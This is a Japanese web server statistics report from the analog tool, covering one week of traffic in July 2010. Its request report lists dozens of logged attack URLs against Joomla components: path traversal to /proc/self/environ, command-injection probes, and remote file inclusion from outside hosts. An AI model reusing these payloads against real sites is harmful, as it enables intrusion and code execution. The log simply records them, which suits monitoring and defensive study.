ウェブサーバの統計

統計開始日時: 2010年 7月26日(月) 02時00分.
解析期間: 2010年 7月19日(月) 02時00分 〜 2010年 7月26日(月) 01時59分 (7.00 日).

全体の概要

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

成功したリクエスト件数: 4,272
上記の日別平均: 610
ホームページへの成功したリクエスト件数: 3,975
上記の日別平均: 567
リクエストエラー件数: 27,439
リダイレクトされたリクエスト件数: 1
異なるファイルへのリクエスト件数: 209
異なるホストへのリクエスト件数: 277
転送データ量: 63.495 Mバイト
上記の日別平均: 9.071 Mバイト


曜日別概要

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

1単位 (+) は 40 ページへのリクエスト あるいはその値未満を表す.

日: リクエスト数: ページ数: 
--: ------------: --------: 
日:          629:      527: ++++++++++++++
月:          356:      304: ++++++++
火:          471:      455: ++++++++++++
水:          444:      414: +++++++++++
木:         1333:     1270: ++++++++++++++++++++++++++++++++
金:          750:      736: +++++++++++++++++++
土:          289:      269: +++++++

時間別概要

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

1単位 (+) は 15 ページへのリクエスト あるいはその値未満を表す.

時間: リクエスト数: ページ数: 
----: ------------: --------: 
   0:          346:      279: +++++++++++++++++++
   1:          235:      233: ++++++++++++++++
   2:          254:      251: +++++++++++++++++
   3:          185:      181: +++++++++++++
   4:          363:      363: +++++++++++++++++++++++++
   5:           31:       30: ++
   6:           53:       46: ++++
   7:          165:      164: +++++++++++
   8:           64:       62: +++++
   9:           58:       52: ++++
  10:           94:       79: ++++++
  11:           92:       89: ++++++
  12:          220:      191: +++++++++++++
  13:          211:      208: ++++++++++++++
  14:          148:      117: ++++++++
  15:          146:      115: ++++++++
  16:          116:      105: +++++++
  17:          199:      189: +++++++++++++
  18:          241:      238: ++++++++++++++++
  19:          100:       98: +++++++
  20:          196:      188: +++++++++++++
  21:          212:      202: ++++++++++++++
  22:          246:      239: ++++++++++++++++
  23:          297:      256: ++++++++++++++++++

ドメインレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ドメイン の表:, 並べ替えのキーは 通信量.

リクエスト数: バイト数の割合(%): ドメイン
------------: --------------------: --------
         593:               36.84%: .net (Network)
        1538:               31.94%: .com (Commercial)
          48:               12.86%: .ru (Russia)
         177:                7.04%: .org (Non-Profit Making Organisations)
         180:                4.25%: .jp (Japan)
         778:                4.13%: [未解決アドレス]
         298:                1.24%: .de (Germany)
         277:                0.73%: [不明ドメイン名]
          81:                0.21%: .it (Italy)
          73:                0.19%: .uk (United Kingdom)
          50:                0.13%: .au (Australia)
          50:                0.12%: .ir (Iran)
          31:                0.08%: .ua (Ukraine)
          29:                0.07%: .th (Thailand)
          22:                0.05%: .br (Brazil)
          18:                0.05%: .nl (Netherlands)
           8:                0.02%: .us (United States)
           5:                0.01%: .id (Indonesia)
          12:                0.01%: .md (Moldova)
           4:                     : .il (Israel)

組織別レポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

上位の 20 組織 の表: 基準は リクエスト数, 並べ替えのキーは リクエスト数.

リクエスト数: バイト数の割合(%): 組織
------------: --------------------: ----
         778:                4.13%: [未解決アドレス]
         440:                1.16%: kimsufi.com
         338:                0.90%: ovh.net
         277:                0.73%: [不明ドメイン名]
         269:                0.69%: campusspeicher.de
         216:                0.58%: ukrwebnames.com
         182:                0.48%: jumpstudio.com
         138:                0.32%: mihannic.com
         123:                0.33%: bpdworld.org
          92:                0.25%: hostdynamic.net
          82:                0.13%: baidu.com
          81:                0.21%: livenet.it
          68:                0.18%: privatedns.com
          57:                0.14%: ibcnetgroup.com
          50:                0.12%: ir
          50:                0.13%: doso.com.au
          44:                0.12%: webfusion.co.uk
          42:                0.50%: dion.ne.jp
          40:                0.11%: anonimoserver.com
          39:                0.10%: webhostpremium.com
         866:               88.69%: [残り: 89 組織]

ステータスコードレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ステータスコード の表:, 並べ替えのキーはステイタスコード.

リクエスト数: ステータスコード
------------: ----------------
        4232: 200 OK
           1: 301 ホームページの削除
          40: 304 最近の検索以来変更無し
          26: 401 要認証
       27405: 404 ページの未発見
           8: 501 リクエスト未サポート

ファイルサイズレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

     サイズ: リクエスト数: バイト数の割合(%): 
-----------: ------------: --------------------: 
          0:           79:                     : 
   1b-  10b:            4:                     : 
  11b- 100b:           12:                     : 
 101b-  1kb:          116:                0.06%: 
  1kb- 10kb:         3879:               10.20%: 
 10kb-100kb:          156:                3.96%: 
100kb-  1Mb:           10:                7.22%: 
  1Mb- 10Mb:           16:               78.57%: 

ファイル種類別レポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

拡張子 の表: 最小は 0.1% の通信量, 並べ替えのキーは 通信量.

リクエスト数: バイト数の割合(%): 拡張子
------------: --------------------: ------
          26:               85.42%: [無拡張子]
        3898:                9.99%: [ディレクトリ]
         116:                3.18%: .jpg  [JPEG graphics]
          54:                0.90%: .html [Hypertext Markup Language]
          23:                0.35%: .htm  [Hypertext Markup Language]
         145:                0.14%: .gif  [GIF graphics]
          10:                0.01%: [残り: 2 拡張子]

ディレクトリレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ディレクトリ の表: 最小は 0.01% の通信量, 並べ替えのキーは 通信量.

リクエスト数: バイト数の割合(%): ディレクトリ
------------: --------------------: ------------
        1822:               92.91%: /admin/
        2113:                3.42%: [ルートディレクトリ]
         125:                2.67%: /ad/
          19:                0.72%: /img/
          41:                0.20%: /i/
          18:                0.03%: /images/
         116:                0.03%: /icons/
          18:                0.02%: /count/

リクエストレポート

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)

ファイル の表: 最小は 20 リクエスト, 並べ替えのキーは リクエスト数.

リクエスト数: バイト数の割合(%):        最終アクセス時刻: ファイル
------------: --------------------: -----------------------: --------
        2113:                3.42%: 2010年 7月26日 01時56分: /
         255:                0.42%: 2010年 7月26日 01時56分:   /?option=com_ckforms&controller=../../../../../../../../../../../../../../../proc/self/environ%00
         208:                0.34%: 2010年 7月23日 17時59分:   /?option=com_ccnewsletter&controller=../../../../../../../../../../../../../../../proc/self/environ%00
         126:                0.21%: 2010年 7月25日 21時06分:   /?option=com_rokdownloads&controller=../../../../../../../../../../../../../../../proc/self/environ%00
         114:                0.19%: 2010年 7月22日 23時15分:   /?option=com_alphauserpoints&view=../../../../../../../../../../../../../../../proc/self/environ%00
         100:                0.16%: 2010年 7月23日 19時16分:   /?option=com_g2bridge&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          99:                0.16%: 2010年 7月23日 03時42分:   /?option=com_ckforms&controller=|echo "casper";echo "kae";|
          98:                0.16%: 2010年 7月24日 03時07分:   /?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          90:                0.15%: 2010年 7月21日 22時30分:   /?option=com_ckforms&controller=http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1.txt???
          88:                0.14%: 2010年 7月25日 18時40分:   /?option=com_gcalendar&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          85:                0.14%: 2010年 7月23日 18時43分:   /?option=com_mscomment&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          69:                0.11%: 2010年 7月25日 14時30分:   /?option=com_bca-rss-syndicator&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          52:                0.09%: 2010年 7月23日 14時47分:   /?option=com_ninjarsssyndicator&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          46:                0.08%: 2010年 7月23日 00時49分:   /?option=com_ckforms&controller=http://dul4.fileave.com/Ckrid1.txt??
          34:                0.06%: 2010年 7月22日 22時07分:   /?option=com_rwcards&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          32:                0.05%: 2010年 7月25日 21時17分:   /?option=com_joomlapicasa2&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          30:                0.05%: 2010年 7月19日 12時13分:   /?option=com_juliaportfolio&controler=../../../../../../../../../../../../../../../proc/self/environ%00
          28:                0.05%: 2010年 7月22日 07時51分:   /?option=com_rokdownloads&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
          26:                0.04%: 2010年 7月25日 23時02分:   /?option=com_myblog&Itemid=12&task=../../../../../../../../../../../../../../../proc/self/environ%00
          25:                0.04%: 2010年 7月22日 07時51分:   /?option=com_rokdownloads&controller=|echo "casper";echo "kae";|
          24:                0.04%: 2010年 7月24日 00時40分:   /?option=com_google&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          22:                0.04%: 2010年 7月24日 23時41分:   /?option=com_jequoteform&view=../../../../../../../../../../../../../../../proc/self/environ%00
          20:                0.03%: 2010年 7月23日 02時35分:   /?index.php?option=com_canteen&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          19:                0.03%: 2010年 7月23日 03時42分:   /?option=com_ckforms&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
          12:                0.02%: 2010年 7月24日 04時16分:   /?option=com_gcalendar&controller=|echo "casper";echo "kae";|
          12:                0.02%: 2010年 7月21日 20時29分:   /?option=com_simpledownload&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          11:                0.02%: 2010年 7月22日 01時25分:   /?option=com_rwcards&view=../../../../../../../../../../../../../../../proc/self/environ%00
          10:                0.02%: 2010年 7月22日 00時58分:   /?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00
          10:                0.02%: 2010年 7月23日 00時43分:   /?option=com_jeajaxeventcalendar&view=../../../../../../../../../../../../../../../proc/self/environ%00
          10:                0.02%: 2010年 7月20日 03時08分:   /?option=com_juliaportfolio&controller=../../../../../../../../../../../../../../../proc/self/environ%00
        1720:                6.35%: 2010年 7月26日 01時56分: /admin/
         227:                0.84%: 2010年 7月26日 01時56分:   /admin/?option=com_ckforms&controller=../../../../../../../../../../../../../../../proc/self/environ%00
         206:                0.76%: 2010年 7月23日 17時59分:   /admin/?option=com_ccnewsletter&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          98:                0.36%: 2010年 7月23日 03時42分:   /admin/?option=com_ckforms&controller=|echo "casper";echo "kae";|
          98:                0.36%: 2010年 7月22日 23時15分:   /admin/?option=com_alphauserpoints&view=../../../../../../../../../../../../../../../proc/self/environ%00
          90:                0.33%: 2010年 7月21日 22時30分:   /admin/?option=com_ckforms&controller=http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1.txt???
          83:                0.31%: 2010年 7月25日 18時40分:   /admin/?option=com_gcalendar&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          82:                0.30%: 2010年 7月24日 03時07分:   /admin/?option=com_fabrik&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          82:                0.30%: 2010年 7月23日 19時16分:   /admin/?option=com_g2bridge&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          80:                0.30%: 2010年 7月25日 21時06分:   /admin/?option=com_rokdownloads&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          78:                0.29%: 2010年 7月23日 18時43分:   /admin/?option=com_mscomment&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          57:                0.21%: 2010年 7月25日 14時30分:   /admin/?option=com_bca-rss-syndicator&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          52:                0.19%: 2010年 7月23日 14時47分:   /admin/?option=com_ninjarsssyndicator&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          46:                0.17%: 2010年 7月23日 00時49分:   /admin/?option=com_ckforms&controller=http://dul4.fileave.com/Ckrid1.txt??
          32:                0.12%: 2010年 7月25日 21時17分:   /admin/?option=com_joomlapicasa2&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          32:                0.12%: 2010年 7月22日 22時10分:   /admin/?option=com_rwcards&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          32:                0.12%: 2010年 7月22日 07時51分:   /admin/?option=com_rokdownloads&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
          30:                0.11%: 2010年 7月19日 12時13分:   /admin/?option=com_juliaportfolio&controler=../../../../../../../../../../../../../../../proc/self/environ%00
          29:                0.11%: 2010年 7月22日 07時51分:   /admin/?option=com_rokdownloads&controller=|echo "casper";echo "kae";|
          21:                0.08%: 2010年 7月25日 23時02分:   /admin/?option=com_myblog&Itemid=12&task=../../../../../../../../../../../../../../../proc/self/environ%00
          20:                0.07%: 2010年 7月23日 02時35分:   /admin/?index.php?option=com_canteen&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          20:                0.07%: 2010年 7月23日 03時42分:   /admin/?option=com_ckforms&controller=http://www.tourgaja.net/www/data/casper/Ckrid1.txt??
          16:                0.06%: 2010年 7月24日 23時41分:   /admin/?option=com_jequoteform&view=../../../../../../../../../../../../../../../proc/self/environ%00
          12:                0.04%: 2010年 7月24日 04時16分:   /admin/?option=com_gcalendar&controller=|echo "casper";echo "kae";|
          12:                0.04%: 2010年 7月21日 20時29分:   /admin/?option=com_simpledownload&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          12:                0.04%: 2010年 7月24日 00時40分:   /admin/?option=com_google&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          11:                0.04%: 2010年 7月22日 01時25分:   /admin/?option=com_rwcards&view=../../../../../../../../../../../../../../../proc/self/environ%00
          10:                0.04%: 2010年 7月22日 00時58分:   /admin/?mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00
          10:                0.04%: 2010年 7月23日 00時43分:   /admin/?option=com_jeajaxeventcalendar&view=../../../../../../../../../../../../../../../proc/self/environ%00
          10:                0.04%: 2010年 7月20日 03時08分:   /admin/?option=com_juliaportfolio&controller=../../../../../../../../../../../../../../../proc/self/environ%00
          32:                0.01%: 2010年 7月25日 23時36分: /icons/back.gif
          32:                     : 2010年 7月25日 23時36分: /icons/blank.gif
          25:                0.01%: 2010年 7月25日 23時34分: /icons/folder.gif
          23:                0.08%: 2010年 7月26日 00時46分: /i/
         327:               90.13%: 2010年 7月26日 00時46分: [残り: 60 ファイル]

レポート製作ソフト analog 4.11.
解析時間: 3 秒.

(Go To: トップ: 全体の概要: 曜日別概要: 時間別概要: ドメインレポート: 組織別レポート: ステータスコードレポート: ファイルサイズレポート: ファイル種類別レポート: ディレクトリレポート: リクエストレポート)